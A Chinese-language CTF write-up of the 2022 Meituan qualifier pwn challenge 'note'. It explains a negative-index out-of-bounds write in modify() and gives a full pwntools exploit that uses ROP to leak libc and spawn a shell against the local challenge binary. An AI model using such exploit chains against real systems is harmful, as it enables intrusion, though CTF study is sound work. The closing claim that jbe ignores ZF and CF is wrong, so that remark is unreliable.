2022 美团 CTF 初赛 Pwn note

tctf 坐牢, 把美团的题扒下来了, 这才是我这个水平该做的题 (哭)

64 位 ELF, 仅开启 NX 保护, Partial RELRO.

菜单题, 新建, 打印, 修改, 删除, note 结构体:

1
2
3
4
struct Note {
  char *str;
  int size;
}

main 函数开了个 Note s[16] 在栈上.

漏洞出现在 modify 上 (其他地方也有, 不过这一个漏洞就能够利用了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
void __fastcall modify(Note *a1)
{
  int idx; // [rsp+14h] [rbp-Ch]
  char *buf; // [rsp+18h] [rbp-8h]

  printf("Index: ");
  idx = readint();
  if ( idx <= 16 && a1[idx].str )
  {
    buf = a1[idx].str;
    printf("Content: ");
    read(0, buf, a1[idx].size);
  }
  else
  {
    puts("Not allowed");
  }
}

可以看到非常明显的一个数组越界, int idx, 但是没有判断 >= 0.

经过调试, 可以发现, 这个函数中, idx = -6 的位置, *str 正好是 modify 函数的 rbp, len 也足够大. 所以这里可以构造 ROP. 构造一个 put(stdout) -> main(), (有 setvbuf, bss 上存在 stdout, puts 参数位 bss 地址即可. 没 PIE, bss 地址已知) 可以 leak libc.

第二次的 main, 调试发现, 调用 modify, 这个 idx = -6 的位置也还是 modify 的 rbp, 继续构造 ROP system(“bin/sh”) 即可.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './note'
libcname = './libc-2.31.so'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
  return str(x).encode()

def one_gadgets(base=0):
  result = [int(i) + base for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
  debug(f'search one gadgets from {libcname}: {[hex(i) for i in result]}')
  return result

pop_rdi_ret = 0x004017b3
ret = 0x004017b4
bss = 0x00404080
main = 0x00401679
binsh = 0x001b45bd

def op(x):
  io.sendafter(b'5. leave\n', n2b(x))

def modify(idx, s):
  op(3)
  io.sendafter(b'Index: ', n2b(idx))
  io.sendafter(b'Content: ', s)

payload = p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(bss) + p64(elf.plt['puts']) + p64(main)
modify(-6, payload)
libc.address = u64(io.recvline(keepends=False).ljust(8, b'\x00')) - 0x1ed6a0
success(f'leak libc: {hex(libc.address)}')
binsh += libc.address

payload = p64(0xdeadbeef) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(libc.sym['system'])
modify(-6, payload)

io.interactive()

看汇编的话, jbe 指令是不去管 ZF, CF 的, 也就是无符号的意思. 而 jne 是要管 ZF, CF 的, 也就是有符号.

(怎么有人不看数据类型的啊, 长记性了)